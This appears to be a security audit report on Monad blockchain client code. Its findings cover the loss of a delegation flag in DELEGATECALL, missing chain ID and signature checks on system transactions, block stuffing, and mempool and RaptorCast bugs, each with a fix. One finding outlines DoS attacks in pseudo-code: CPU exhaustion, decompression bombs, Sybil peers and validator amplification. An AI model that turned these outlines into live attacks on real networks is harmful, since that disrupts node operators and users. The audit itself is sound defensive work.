DELEGATECALL and CALLCODE loses the EVMC_DELEGATED flag
Description
(Issue found in commit hash fc820c9ee9ab310c4fdd5e1888f72164c0b871c8)
The EIP-7702 spec notes the following:
A related issue is that an EOA’s nonce may be incremented more than once per transaction. Because clients already need to be robust in a worse scenario (described above), it isn’t a major concern. However, clients should be aware this behavior is possible and design their transaction propagation accordingly.
For Monad this is a more serious concern because of delayed execution. A preceding transaction can invalidate other transactions in a proposal by bumping the delegated EOA's nonce via CREATE / CREATE2. This invalid transaction will thus not be charged any gas as a result but will take up space in the proposal enabling virtually free block stuffing attacks.
Monad attempts to solve this by disabling
CREATE
andCREATE2
opcode when executing delegated code inevmc_host.cpp
.if (msg.kind == EVMC_CREATE || msg.kind == EVMC_CREATE2) { if (!create_inside_delegated_ && (msg.flags & EVMC_DELEGATED)) { return evmc::Result{EVMC_UNDEFINED_INSTRUCTION, msg.gas}; }
There is already a bug with the implementation in https://cantina.xyz/code/ed78120a-ad47-43bf-9d93-eb3863eb2a3b/findings/51 but this report will showcase another way to bypass the check.
The
EVMC_DELEGATED
flag is used to track whether the current call frame is currently within a context of a delegated EOA account. The problem is that forDELEGATECALL
andCALLCODE
opcode, theEVMC_DELEGATED
flag will be lost when entering theDELEGATECALL
andCALLCODE
call frames.When a
DELEGATECALL
andCALLCODE
occurs,dest_address == code_address
asDELEGATECALL
orCALLCODE
affects themsg.recipient
, as such theEVMC_DELEGATED
flag will be removed from theDELEGATECALL
orCALLCODE
call frame.auto recipient = (call_kind == EVMC_CALL || static_call) ? dest_address : ctx->env.recipient; ... auto message = evmc_message{ ... .flags = message_flags( ctx->env.evmc_flags, static_call, dest_address != code_address), ... };
inline std::uint32_t message_flags( std::uint32_t env_flags, bool static_call, bool delegation_indicator) { if (static_call) { env_flags = static_cast<std::uint32_t>(EVMC_STATIC); } if (delegation_indicator) { env_flags |= static_cast<std::uint32_t>(EVMC_DELEGATED); } else { env_flags &= ~static_cast<std::uint32_t>(EVMC_DELEGATED); } return env_flags; }
Since the call frame no longer contains the
EVMC_DELEGATED
flag, the call frame can execute aCREATE
/CREATE2
opcode to bump its nonce.The
msg.sender
of theCREATE
/CREATE2
call frame will have its nonce bumped. Working backwards, themsg.sender
of theCREATE
/CREATE2
call frame is themsg.recipient
of theDELEGATECALL
andCALLCODE
call frame which equal to the EOA delegated code which executed theDELEGATECALL
/CALLCODE
and thus the delegated EOA will have its nonce bumped.auto message = evmc_message{ ... .sender = ctx->env.recipient, ... }; auto result = ctx->host->call(ctx->context, &message);
auto const nonce = state.get_nonce(msg.sender); if (nonce == std::numeric_limits<decltype(nonce)>::max()) { // overflow evmc::Result result{EVMC_ARGUMENT_OUT_OF_RANGE, msg.gas}; call_tracer.on_exit(result); return result; } state.set_nonce(msg.sender, nonce + 1);
Recommendation
DELEGATECALL
andCALLCODE
should always retain theEVMC_DELEGATED
flag if it does contain it.Addendum: In the following discussion with evmone maintainers, it was confirmed that this flag was only meant for the no-op precompile logic when an EOA is delegated to the precompile. Hence, we recommend resolving the delegation instead of relying on the
EVMC_DELEGATED
flag.static_validate_system_transaction missing EIP-155 chain ID validation
State
Severity
- Severity: High
Submitted by
Haxatron
Description
static_validate_system_transaction
is missing chain ID validation.The only validation for
static_validate_system_transaction
is present here:fn static_validate_system_transaction( txn: &Recovered<TxEnvelope>, ) -> Result<(), SystemTransactionError> { if !Self::is_system_sender(txn.signer()) { return Err(SystemTransactionError::UnexpectedSenderAddress); } if !txn.tx().is_legacy() { return Err(SystemTransactionError::InvalidTxType); } if txn.tx().gas_price() != Some(0) { return Err(SystemTransactionError::NonZeroGasPrice); } if txn.tx().gas_limit() != 0 { return Err(SystemTransactionError::NonZeroGasLimit); } if !matches!(txn.tx().kind(), TxKind::Call(_)) { return Err(SystemTransactionError::InvalidTxKind); } Ok(()) }
This can allow a malicious block proposer to include an invalid system transaction which will fail during transaction validation in the execution layer which can lead to failed epoch / snapshot changes breaking validator set accounting.
execute_system_transaction.cpp#L59-L75
Result<Receipt> ExecuteSystemTransaction<rev>::operator()(){ ... { Transaction tx = tx_; tx.gas_limit = 2'000'000; // required to pass intrinsic gas validation check BOOST_OUTCOME_TRY(static_validate_transaction<rev>( tx, std::nullopt /* 0 base fee to pass validation */, std::nullopt /* 0 blob fee to pass validation */, chain_.get_chain_id(), chain_.get_max_code_size(header_.number, header_.timestamp))); }
validate_transaction.cpp#L55-L68
// EIP-155 if (MONAD_LIKELY(tx.sc.chain_id.has_value())) { if constexpr (rev < EVMC_SPURIOUS_DRAGON) { return TransactionError::TypeNotSupported; } if (MONAD_UNLIKELY(tx.sc.chain_id.value() != chain_id)) { return TransactionError::WrongChainId; } }
Recommendation
Validate in
monad-bft
that the staking syscall has the correct chain ID.static_validate_system_transaction missing EIP-2 malleable signature validation
State
Severity
- Severity: High
Submitted by
Haxatron
Description
static_validate_system_transaction
is missing malleable signature validation.The only validation for
static_validate_system_transaction
is present here:fn static_validate_system_transaction( txn: &Recovered<TxEnvelope>, ) -> Result<(), SystemTransactionError> { if !Self::is_system_sender(txn.signer()) { return Err(SystemTransactionError::UnexpectedSenderAddress); } if !txn.tx().is_legacy() { return Err(SystemTransactionError::InvalidTxType); } if txn.tx().gas_price() != Some(0) { return Err(SystemTransactionError::NonZeroGasPrice); } if txn.tx().gas_limit() != 0 { return Err(SystemTransactionError::NonZeroGasLimit); } if !matches!(txn.tx().kind(), TxKind::Call(_)) { return Err(SystemTransactionError::InvalidTxKind); } Ok(()) }
This can allow a malicious block proposer to include an invalid system transaction by flipping the
s
value of the system transaction to upper-half of the curve.This will fail during transaction validation in the execution layer which can lead to failed epoch / snapshot changes breaking validator set accounting.
execute_system_transaction.cpp#L59-L75
Result<Receipt> ExecuteSystemTransaction<rev>::operator()(){ ... { Transaction tx = tx_; tx.gas_limit = 2'000'000; // required to pass intrinsic gas validation check BOOST_OUTCOME_TRY(static_validate_transaction<rev>( tx, std::nullopt /* 0 base fee to pass validation */, std::nullopt /* 0 blob fee to pass validation */, chain_.get_chain_id(), chain_.get_max_code_size(header_.number, header_.timestamp))); }
validate_transaction.cpp#L55-L68
// EIP-2 if (MONAD_UNLIKELY(!silkpre::is_valid_signature( tx.sc.r, tx.sc.s, rev >= EVMC_HOMESTEAD))) { return TransactionError::InvalidSignature; }
Recommendation
Validate that the
s
value of the system transaction signature is in the lower-half of the curve. Example:fn eip_2(tx: &TxEnvelope) -> Result<(), TransactionError> { // verify that s is in the lower half of the curve if tx.signature().normalize_s().is_some() { return Err(TransactionError::UnsupportedTransactionType); } Ok(()) }
Medium Risk10 findings
CREATE / CREATE2 opcode checks incorrect max initcode size
Description
In Monad VM, the
CREATE
/CREATE2
opcode implementation does a max initcode size check and rejects initcode that is above 0xC000 = 49152 bytes.if constexpr (Rev >= EVMC_SHANGHAI) { if (MONAD_VM_UNLIKELY(*size > 0xC000)) { ctx->exit(StatusCode::OutOfGas); } }
This matches Ethereum mainnet's parameters, where
max_init_code_size = 2 * max_code_size
, wheremax_code_size = 24576
.However, Monad Chain defines a different parameter for
max_code_size
, which we can see:if (MONAD_LIKELY(monad_rev >= MONAD_TWO)) { return 128 * 1024; }
As seen above, the
max_code_size
for Monad revision 2 and above is128 * 1024 = 131072
.That means the actual
max_init_code_size
should be2 * max_code_size = 262144
, however as seen above, the CREATE / CREATE2 opcode implementation will reject any initcode above 49152 bytes.This means that while Monad attempts to allow creation of contracts up to a
max_code_size
of 128kB, in actual fact, it only allows the creation of contracts up to 48kB, since the initcode which should consist of both the constructor code and the contract code only allows 48kB for both. This might cause certain factory contracts to be bricked, for instance.Recommendation
Instead of hardcoding the value to 0xC000 = 49152 bytes, the check needs to be changed to use
2 * max_code_size
fetched from the Monad chain config.Block stuffing via transactions with large calldata
State
- Acknowledged
Severity
- Severity: Medium
Submitted by
Haxatron
Description
let tx_size = tx.size(); if total_size .checked_add(tx_size) .is_none_or(|new_total_size| new_total_size > proposal_byte_limit) { return TrackedTxHeapDrainAction::Skip; }
MonadBFT enforces a maximum size for block proposals when constructing a proposal from the mempool.
As per the the latest
CHAIN_PARAMS_V_0_8_0
revision, the relevant parameters are:const CHAIN_PARAMS_V_0_8_0: ChainParams = ChainParams { tx_limit: 5_000, proposal_gas_limit: 150_000_000, proposal_byte_limit: 2_000_000, vote_pace: Duration::from_millis(500),};
Currently it is possible to occupy the full block space while paying only ~5% of the maximum
150_000_000
gas limit by including a transaction with only zero bytes. The minimum gas consumed by the transaction would be21_000 + 2_000_000 * 4 = 8_021_000
(21_000 + 2_000_000 * 10 = 20_021_000 (= ~13%)
if Prague data floor gas is enabled), enabling cheaper block stuffing attacks.Additionally, when dynamic EIP-1559 block base fee is implemented, the gas consumed will be significantly lower than the target gas limit (assuming target gas limit = 50% of maximum gas limit =
75_000_000
), resulting in decreasing base fee over time.Recommendation
This requires either rethinking the
proposal_gas_limit
versus theproposal_byte_limit
to constrain the amount of calldata that can fit within theproposal_byte_limit
or changing the calldata gas cost to ensure that the maximum calldata sent is less thanproposal_byte_limit
.Category Labs: This is expected behaviour currently. We're aware the current proposal construction algorithm is suboptimal (ignores the fact that it is now a multi-dimensional knapsack problem). Improving it is on our roadmap. We have a relatively simple modified sorting algo that could help mitigate worst-cases, but we'll likely explore better options.
num_txs is incorrectly decremented on address removal in pending pool
Description
In the pending pool, the number of transactions present in the pending pool if tracked by
self.num_txs
and is used for a variety of checks, for example to determine whether to drop a transaction ifself.num_txs >= MAX_TXS
.The problem is that on
remove()
, which is called when an address is promoted from the pending pool, thenum_txs
is decreased by 1 instead of the actual number of transactions an address has in the pending pool.pub fn remove(&mut self, address: &Address) -> Option<PendingTxList> { if let Some(tx) = self.txs.swap_remove(address) { self.num_txs = self .num_txs .checked_sub(1) .expect("num txs does not underflow"); return Some(tx); }
As such the
self.num_txs
will be tracked incorrectly by the pending pool, and this could result in transactions incorrectly being dropped even thoughMAX_TXS
has not been reached in the pending pool.Recommendation
Decrement
self.num.txs
by the actual number of transactions and address has in the pending pool duringremove()
num_txs is incorrectly incremented on transaction replacement in pending pool
Description
In the pending pool, the number of transactions present in the pending pool if tracked by
self.num_txs
and is used for a variety of checks, for example to determine whether to drop a transaction ifself.num_txs >= MAX_TXS
.The problem is that on
try_insert_tx
,num_txs
is incorrectly incremented by 1, even during transaction replacement.indexmap::map::Entry::Occupied(tx_list) => { let tx = tx_list.into_mut().try_insert_tx(event_tracker, tx)?; self.num_txs += 1; Some(tx) }
Entry::Occupied(mut entry) => { let existing_tx = entry.get(); if &tx <= existing_tx { event_tracker.drop(tx.hash(), EthTxPoolDropReason::ExistingHigherPriority); return None; } event_tracker.replace_pending(existing_tx.hash(), tx.hash(), tx.is_owned()); entry.insert(tx); Some(entry.into_mut()) }
Here, we see that in the pending pool, if a nonce in the transaction pool is already occupied, if a transaction is better than the currently existing transaction, the transaction will be replaced and
Some(entry.into_mut())
will be returned.This causes the
self.num.txs
to be incorrectly incremented,self.num_txs += 1;
. When in actual fact, the total number of transactions in the pending pool has not changed since the transaction has been replaced by another better one.As such the
self.num_txs
will be tracked incorrectly by the pending pool, and this could result in transactions incorrectly being dropped even thoughMAX_TXS
has not been reached in the pending pool.Recommendation
Only increment the
self.num_txs
counter if the current nonce entry is vacant.RaptorCast broadcast strategy lacks sufficient redundancy
State
- Acknowledged
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
Rikard Hjort
Summary
The RaptorCast design calls for sending an excess of blocks to validators to guarantee sufficient redundancy. The algorithm as implemented produces too few blocks, leading to insufficient redundancy.
Finding Description
The raptorcast broadcast algorithm differs from the one in the documentation as described in "3: Broadcast Strategy":
The design of RaptorCast dictates that redundancy is achieved through producing $M' = K \times r + n$ chunks, with $K$ being the smallest number of chunks that could fit the message, $r$ being a redundancy factor (hard-coded), and $n$ being the number of validators. The number of chunks send to each validator is a fraction of $M$ corresponding to the validator's proportion of the total stake.
The algorithm in
udp.rs
, however, produces $M = K \times r$ blocks and rounds down the number of chunks to send each validator. Validators with small stakes may receive no blocks, and instead have their blocks grouped in with the next validator being in the iteration. The discrepancy is thus greater for $K$ (small message sizes) and large $n$ (large validator sets).The redundancy design "guarantees that each honest validator receives sufficient chunks to decode, even with one-third Byzantine nodes". Without it, there is a risk of consensus failure in case the number of Byzantine nodes grows past what $r$ accounts for, the network failure is unusually high, or simply when the messages size leads to an unfortunate level of rounding down when calculating the number of chunks to send to each validator.
Impact Explanation
With fewer distinct first‑hop re‑broadcasters per message, any outage or byzantine behavior by the (few) assigned recipients disproportionately harms overall symbol fan‑out. Because only the original recipient re‑broadcasts validators assigned zero chunks also contribute zero second‑hop bandwidth for that chunk.
There is also higher latency to reach sufficient validators, especially under moderate packet loss.
Likelihood Explanation
A validator gets 0 chunks if the total stake as a multiple of their individual stake is larger than the number of packets:
total_stake / stake_i > num_packets
. It is virtually guaranteed that some validators will receive less than their allotted amount.Proof of Concept
For example, as a degenerate case, when
num_packets == 1
thecontinue
on line 754 will be hit in every iteration. If it's 2, then it will be hit at every iteration unless some validator has more than half of the total stake, etc.Regardless, this will undercount the packages to be sent out and possibly not send all chunks, if the last
end_idx
is less thanchunk_datas.len()
.Recommendation
When calculating the number of packets, make the following addition, after line 603 in
udp.rs
:udp.rs
starting at line 599:if let BuildTarget::Broadcast(epoch_validators) = &build_target { num_packets = num_packets .checked_mul(epoch_validators.view().len()) .expect("num_packets doesn't fit in usize")} else if let BuildTarget::Raptorcast((epoch_validators, full_nodes_view)) = &build_target { let n = epoch_validators.view().len(); let extra = n.min((MAX_NUM_PACKETS as usize).saturating_sub(num_packets)); num_packets = num_packets + extra;}
This does not exactly match the number of packages described in the design, but overallocates reasonably.
Another approach to adding redundancy more robustly without too much extra complexity:
- calculate $M'$ as above, including $n$.
- before running the loop assigning stake, subtract $n$ from $M'$ to get $M$.
- create a variable $i$ to track of which loop iteration you are in.
- for every validator
- assign
m * running_stake / total_stake + i
the tostart_idx
. - increment $i$ by $1$.
- assign
m * running_stake / total_stake + i
the toend_idx
- proceed as before
- assign
udp.rs
starting at line 739:let mut running_stake = 0;let mut chunk_idx = 0_u16;let mut nodes: Vec<_> = epoch_validators.view().iter().collect();let mut m = num_packets - epoch_validators.view().len();// Group shuffling so chunks for small proposals aren't always assigned// to the same nodes, until researchers come up with something better.nodes.shuffle(&mut rand::thread_rng());let mut i = 0;for (node_id, validator) in &nodes { let start_idx: usize = i + (m as u64 * running_stake / total_stake) as usize; i += 1; running_stake += validator.stake.0; let end_idx: usize = i + (m as u64 * running_stake / total_stake) as usize; if let Some(addr) = known_addresses.get(node_id) {
This results in an identical algorithm to the existing implementation except each validator gets exactly one more chunk than they would have otherwise. The difference between this and the algorithm in the design is only that those validators for which $S_T$ divides $M \times S_i$. i.e. $S_T | M \times S_i$, will get one more package than they would otherwise. In realistic scenarios with large $S_T$ this will be rare.
Category Labs: We are aware of this issue and are working on a redesign that ensures at least probabilistic Byzantine Fault-Tolerance for Raptorcast, and scales well in the number of validators. That solution might not be ready for mainnet, and we are evaluating more short-term fixes.
Inefficient loop accross current_ map during pop_accept after a call
State
- Acknowledged
Severity
- Severity: Medium
Submitted by
Haxatron
Description
void pop_accept() { MONAD_ASSERT(version_); for (auto it = current_.begin(); it != current_.end(); ++it) { it->second.pop_accept(version_); } logs_.pop_accept(version_); --version_; }
The
current_
map tracks all the addresses that were accessed / touched / modified in the current transaction. This for loop is inefficient because it can iterate through addresses incurrent_
that have been accessed in the transaction, but have NOT been modified in the current call frame.For example, an attacker could potentially access many addresses at the start of a transaction (via access list for example). This will result in
access_account
being called which will cause these addresses to be added to thecurrent_
map, paying only 2400 gas for the access cost. As an example, an attacker can purchase 30000 addresses in the access list for 72M gasevmc_access_status access_account(Address const &address) { auto &account_state = current_account_state(address); // address added to 'current_' map here return account_state.access(); }
Then the attacker makes multiple precompile calls, each call is considered warm paying only 100 gas, at the end of each call,
pop_accept
will be called. However, the for loop will iterate through all 30000 addresses in thecurrent_
even though these addresses were not modified at all in the precompile call. As an example an attacker can make 700000 calls using 70M gas. All in all, this results in 21 billion for loop iterations per block.Recommendation
While it is unknown how viable is this attack vector. In the best case, the code is unoptimized as it is looping through the global
current_
map which also includes addresses that do not contain the current version at the top of their version stack, and an optimization can be made to track ONLY the modified addresses to loop through for a given version via aMap<Version, std::vector<Address>>
/std::stack<std::vector<Address>>
variable to prevent iterating over unnecessary items in thecurrent_
mapCategory Labs: Local benchmarks confirm that this appears to be valid. We will be tracking it in this open issue
read_multiple_buffer_sender::operator() reserves but not resizes vector before writing
State
- Fixed
PR #1607
Severity
- Severity: Medium
≈
Likelihood: Low×
Impact: Medium Submitted by
Guido Vranken
Description
The code reserves sufficient elements in
temp
but does not resizetemp
. It then writes to all the elements it reserved.Reserving grows the memory capacity underlying the
vector
abstraction, but does not change the number of vector elements, and accessing any element beyond the vector's size is undefined behavior.Proof of Concept
Minimal proof of concept demonstrating the general issue:
#include <vector>int main(void){ std::vector<int> x; x.reserve(1000); x[100] = 1; return 0;}
If compiled with
-D_GLIBCXX_DEBUG
:/usr/lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/debug/vector:508:In function: reference std::vector<int>::operator[](size_type) [_Tp = int, _Allocator = std::allocator<int>] Error: attempt to subscript container with out-of-bounds index 100, but container only holds 0 elements. Objects involved in the operation: sequence "this" @ 0x7fffffffdff0 { type = std::debug::vector<int, std::allocator<int> >; }Aborted (core dumped)
Recommendation
Either:
- Change
temp.reserve(buffers_.size());
totemp.resize(buffers_.size());
. - Use
emplace_back
to add elements totemp
, rather than accessing elements directly viatemp[n] = ...
.
Missing Peer and IP based Reputation System
State
- Acknowledged
Severity
- Severity: Medium
≈
Likelihood: High×
Impact: Medium Submitted by
dtheo
Description
Monad's networking layer lacks a comprehensive peer reputation and rate limiting system, which enables sustained resource consumption style DoS attacks. Due to the computational cost of ECDSA signature verification, Merkle proof verification, decompression, and RaptorCast's error correction decoding, a system to gate these flows is needed. Without proper rate limiting and reputation tracking, malicious peers can repeatedly abuse computational resources without consequences.
Proof-Of-Concept
Example Attack Vector 1: Merkle Proof CPU Exhaustion
// Attack via maximum depth Merkle proof verificationlet attack_message = craft_udp_message_with_merkle_proof( tree_depth: 9, // Maximum allowed depth chunk_data: minimal_data, // Small payload for efficiency signature: valid_signature, // Authenticated attacker); // Each message forces expensive operations:// 1. ECDSA signature recovery: ~50μs (well-resourced server)// 2. Merkle proof computation: ~4μs (SHA256 × depth, optimized)// 3. Message processing overhead: ~6μs// Total: ~60μs per attack message // Sustained attack calculation:let attack_rate = 1000; // messages per secondlet cpu_consumption = attack_rate * 60; // 60ms per second = 6% CPU corelet daily_messages = 86_400_000; // 86.4 million verification operations per day // No rate limiting enables unlimited sustained CPU consumption
Example Attack Vector 2: UDP/TCP Decompression CPU Exhaustion
Note: This attack works via both UDP (RaptorCast) and TCP message channels.
// Attack via computationally expensive compressed message payloadslet compression_attack = create_expensive_compressed_message( compressed_size: 100_000, // 100KB compressed payload decompressed_size: 10_000_000, // 10MB decompressed content compression_complexity: HIGH, // Computationally expensive to decompress); // Attack flow (works for both UDP and TCP):// 1. Message passes signature verification (~50μs)// 2. ZSTD decompression operation (~20ms for complex payload on well-resourced server)// 3. Additional RLP parsing overhead (~5ms)// Total: ~25ms CPU time per attack message // UDP-specific flow:// 1. UDP chunks received and decoded via RaptorCast → reconstructed message// 2. Reconstructed message goes through InboundRouterMessage::try_deserialize()// 3. Same decompression logic as TCP messages // TCP-specific flow:// 1. TCP message received directly// 2. Goes through InboundRouterMessage::try_deserialize()// 3. Decompression logic applied // UDP decompression attacklet udp_decompression_attack = UdpRaptorCastMessage { signature: valid_signature, // Pass authentication compressed_app_message: compression_attack, compression_version: DefaultZSTDVersion, // Force expensive decompression}; // TCP decompression attack let tcp_decompression_attack = TcpMessage { signature: valid_signature, // Pass authentication compressed_payload: compression_attack, compression_level: MAXIMUM, // Force expensive decompression}; // Sustained attack calculation:let attack_rate = 40; // messages per second (limited by decompression cost)let cpu_consumption = attack_rate * 25; // 1.0 seconds per second = 100% CPU corelet daily_cpu_hours = 24 * 1.0; // 24 CPU hours consumed per day // No rate limiting enables sustained decompression CPU exhaustion via UDP or TCP// Multiple concurrent attackers can saturate all available CPU cores// UDP attacks have advantage: no TCP connection overhead, higher message throughput// TCP attacks have advantage: larger message size limits, direct connection
Example Attack Vector 3: Decoder Instance Memory Multiplication (Validator-Only)
Note: This attack requires validator privileges to create authenticated broadcast chunks.
// Attack via unbounded decoder cache exploitation (requires validator access)let memory_exhaustion_attack = |validator_key: ValidatorKey| { let mut attack_messages = Vec::new(); // Generate 1000 unique cache keys for decoder multiplication for i in 0..1000 { let unique_cache_key = MessageCacheKey { unix_ts_ms: current_time() + i, // Unique timestamp author: validator_key, // Requires validator privileges app_message_hash: hash(format!("attack_{}", i)), app_message_len: 0x7FFFFFFF, // Large message claim }; let attack_chunk = craft_chunk_with_large_allocation( cache_key: unique_cache_key, symbol_len: 1, // Minimize chunk size app_message_len: u32::MAX, // Maximize decoder allocation ); attack_messages.push(attack_chunk); } // Memory impact calculation: // Each decoder: ~8MB allocation // 1000 decoders: ~8GB total memory consumption // Attack completes in seconds, memory pressure persists for hours attack_messages}; // Attack amplification through cache exploitation:// - Each unique cache key creates new 8MB decoder instance// - LRU eviction insufficient - attacker refreshes entries periodically// - No bounds checking on total memory consumption across all decoders
Example Attack Vector 4: Broadcast Chunk Network Amplification (Validator-Only)
Note: This attack requires malicious validator access and is limited to the validator set.
// Attack via malicious validator broadcast amplificationlet validator_attack = |malicious_validator: ValidatorKey| { // Generate massive chunk spam for network amplification let mut broadcast_chunks = Vec::new(); for message_id in 0..10000 { // 10,000 different messages for chunk_id in 0..57344 { // 57,344 chunks per message maximum let malicious_chunk = BroadcastChunk { author: malicious_validator, // Valid validator signature message_key: generate_unique_key(message_id), chunk_id: chunk_id, // Unique chunk identifier broadcast_flag: true, // Trigger full node forwarding payload: minimal_payload(100), // Optimize for amplification }; broadcast_chunks.push(malicious_chunk); } } // Attack multiplication: // 10,000 messages × 57,344 chunks = 573 million potential attack chunks // Each chunk triggers forwarding to ALL full nodes in network // Single validator can sustain 67MB/sec continuous network traffic // Total potential: 5.5TB per day of amplified network traffic broadcast_chunks}; // No rate limiting on broadcast chunk forwarding enables:// - Network-wide bandwidth exhaustion// - Resource consumption across entire validator set// - Sustained attack for entire validator window (80+ seconds)// - **Limitation**: Attack requires malicious validator participation (limited attacker pool)
Example Attack Vector 5: Sybil Attack via Ephemeral Peer IDs
// Sybil attack exploiting unlimited peer ID generationlet sybil_attack = |attacking_ip: IpAddr| { let mut ephemeral_peers = Vec::new(); // Generate 1000 unique peer identities from single IP address for i in 0..1000 { let ephemeral_key = generate_random_keypair(); let peer_id = NodeId::from(ephemeral_key.public_key); ephemeral_peers.push(SybilPeer { peer_id: peer_id, private_key: ephemeral_key.private_key, source_ip: attacking_ip, // Same IP, different peer IDs }); } // Attack amplification through identity multiplication: for peer in ephemeral_peers { std::thread::spawn(move || { loop { // Each "peer" gets independent rate limits (if any existed) spam_merkle_proofs(peer.peer_id, rate: 100); // 6ms/sec per peer (100 ops × 60μs) create_decoder_instances(peer.peer_id, count: 10); // 80MB per peer std::thread::sleep(Duration::from_secs(1)); } }); } // Sybil amplification calculation: // 1000 fake peers × 6ms/sec = 6 seconds/sec = 600% CPU utilization // 1000 fake peers × 80MB = 80GB memory consumption // All from single IP address with no IP-based rate limiting}; // Attack characteristics:// - Unlimited peer identity generation from single source// - Each identity appears as "different" peer to peer-only rate limiting// - No correlation between peer behavior and source IP address// - Perfect Sybil multiplication: 1 attacker IP = 1000+ attack identities
Coordinated Attack Scenarios
Scenario 1: Unpermissioned External Attack (No Validator Access Required)
// External attackers with no special privilegeslet unpermissioned_external_attack = |attacking_ips: Vec<IpAddr>| { for ip in attacking_ips { // Generate multiple fake peer identities per IP for peer_id in generate_fake_peers(ip, count: 100) { std::thread::spawn(move || { loop { // Vector 1: CPU exhaustion via Merkle proofs (unpermissioned) spam_merkle_proofs(peer_id, rate: 100); // 6ms/sec CPU load // Vector 2: UDP/TCP decompression attacks (unpermissioned) launch_udp_decompression_attack(peer_id, rate: 40); // 1000ms/sec CPU load launch_tcp_decompression_attack(peer_id, rate: 40); // 1000ms/sec CPU load // Vector 5: Sybil identity multiplication (unpermissioned) // Each peer gets independent rate limits (if any existed) std::thread::sleep(Duration::from_secs(1)); } }); } } // Unpermissioned attack impact (10 IPs × 100 fake peers each): // - CPU: 1000 fake peers × (6ms + 2000ms)/sec = 2,006,000ms/sec = 200,600% CPU utilization // - Memory: Limited to legitimate processing overhead + decoder instances // - Network: Very high bandwidth (UDP + TCP decompression payloads) // - Barrier to entry: ZERO - any external attacker (UDP requires no connections, TCP needs connection setup) // - Duration: Unlimited (no reputation system to stop attacks) // - UDP advantage: Higher throughput, no connection limits // - TCP advantage: Larger message sizes, more predictable delivery};
Scenario 2: Validator Privilege Attack (Requires Validator Compromise or a Malicious Validator)
// Malicious validators with full broadcast privilegeslet validator_privilege_attack = |malicious_validators: Vec<ValidatorKey>| { for validator in malicious_validators { std::thread::spawn(move || { loop { // Vector 1: CPU exhaustion via Merkle proofs spam_merkle_proofs(validator.node_id, rate: 100); // 6ms/sec CPU load // Vector 3: Memory exhaustion via decoder multiplication (VALIDATOR-ONLY) create_decoder_instances(validator, count: 100); // 800MB memory per validator // Vector 4: Network amplification (VALIDATOR-ONLY) broadcast_spam_chunks(validator, rate: 1000); // Network flooding std::thread::sleep(Duration::from_secs(1)); } }); } // Validator privilege attack impact (5 malicious validators): // - CPU: All unpermissioned attacks (200,600%+ per validator) PLUS validator-only attacks // - Memory: 5 validators × 800MB = 4GB sustained memory pressure (additional to base attacks) // - Network: Multi-gigabyte amplified traffic across entire network // - Barrier to entry: HIGH - requires malicious validator participation // - Duration: Limited to validator windows but recurring // - Total: MAXIMUM impact - combines all attack vectors simultaneously};
Attack Scenarios Enabled:
Unpermissioned Attacks (High Likelihood):
- Sybil attacks - External attackers can generate unlimited ephemeral peer IDs
- UDP Merkle proof spam - Any external attacker can force expensive signature verification
- UDP/TCP decompression attacks - Any external attacker can send compressed payloads for CPU exhaustion
- Persistent CPU exhaustion - No mechanism to automatically limit problematic IPs/peers
- Multi-protocol abuse - Attackers can simultaneously abuse UDP and TCP channels
Validator Privilege Attacks (Lower Likelihood, Maximum Impact):
- All unpermissioned attacks - Validators can execute every attack available to external attackers
- Decoder instance memory exhaustion - Additional validator-only capability via broadcast chunks
- Network amplification attacks - Additional validator-only capability for broadcast chunk flooding
- Combined maximum impact - All attack vectors simultaneously with highest privileges
Recommendation
Priority 1 - Unpermissioned Attack Defenses (Critical):
- Add IP-based rate limiting - Primary defense against Sybil attacks using ephemeral peer IDs
- Add connection limits per IP - Limit total peer identities from single source
Priority 2 - Validator Privilege Attack Defenses (High):
- Add validator broadcast rate limiting - Prevent decoder instance multiplication attacks
- Implement memory usage tracking - Monitor and limit total decoder cache memory
- Add validator reputation tracking - Score validators based on broadcast behavior quality
Priority 3 - General Resilience (Medium):
- Create progressive penalty system - Escalating restrictions for repeated misbehavior
- Add automated response mechanisms - Automatic temporary bans for severe abuse
- Implement peer quality metrics - Track and act on peer performance indicators
Example Code Suggestion:
// Multi-layered rate limiting systemstruct RateLimitingSystem { ip_limits: HashMap<IpAddr, IpRateLimiter>, // Primary Sybil defense peer_limits: HashMap<PeerId, PeerRateLimiter>, // Per-peer tracking reputation: HashMap<PeerId, PeerReputation>, // Behavioral scoring} // IP-based rate limiting (Sybil attack prevention)struct IpRateLimiter { source_ip: IpAddr, operations_per_second: RateCounter, total_peers_from_ip: u32, // Track peer count per IP bandwidth_usage: RateCounter, // Network usage tracking violation_count: u32, temporary_ban_until: Option<Timestamp>,} // Peer reputation system struct PeerReputation { peer_id: PeerId, source_ip: IpAddr, // Link peer to IP for correlation trust_score: f64, // 0.0-1.0 reputation score violation_count: u32, // Number of violations last_violation: Timestamp, // Time of last misbehavior rate_limit_multiplier: f64, // Dynamic rate limit adjustment} // Multi-layer rate limiting checkfn check_rate_limit(peer_id: &PeerId, source_ip: &IpAddr, operation: &Operation) -> RateLimitResult { // Layer 1: IP-based rate limiting (primary Sybil defense) let ip_limiter = get_ip_rate_limiter(source_ip); if ip_limiter.exceeds_limit(operation) { apply_ip_penalty(source_ip); return RateLimitResult::Rejected("IP rate limit exceeded"); } // Layer 2: Check for too many peers from single IP (Sybil detection) if ip_limiter.total_peers_from_ip > MAX_PEERS_PER_IP { return RateLimitResult::Rejected("Too many peers from IP"); } // Layer 3: Per-peer rate limiting with reputation let reputation = get_peer_reputation(peer_id); let base_limit = operation.base_rate_limit(); let adjusted_limit = base_limit * reputation.rate_limit_multiplier; if peer_exceeds_limit(peer_id, adjusted_limit) { // Update both peer and IP tracking update_peer_reputation(peer_id, ReputationEvent::RateLimitViolation); update_ip_reputation(source_ip, ReputationEvent::PeerViolation); RateLimitResult::Rejected("Peer rate limit exceeded") } else { RateLimitResult::Accepted }} // Constants for Sybil attack preventionconst MAX_PEERS_PER_IP: u32 = 5; // Limit peer identities per IPconst MAX_OPERATIONS_PER_IP_PER_SEC: u32 = 50; // Aggregate IP rate limitconst IP_BAN_DURATION_SECS: u64 = 300; // 5 minute temporary bans
event_ring_util.c is_writer_fd out-of-bounds memory access
State
- Fixed
PR #1613
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
Guido Vranken
Description
https://github.com/category-labs/monad/commit/fca3deaa078ed0a0084a7c264807f22fd867273a introduces the function
is_writer_fd
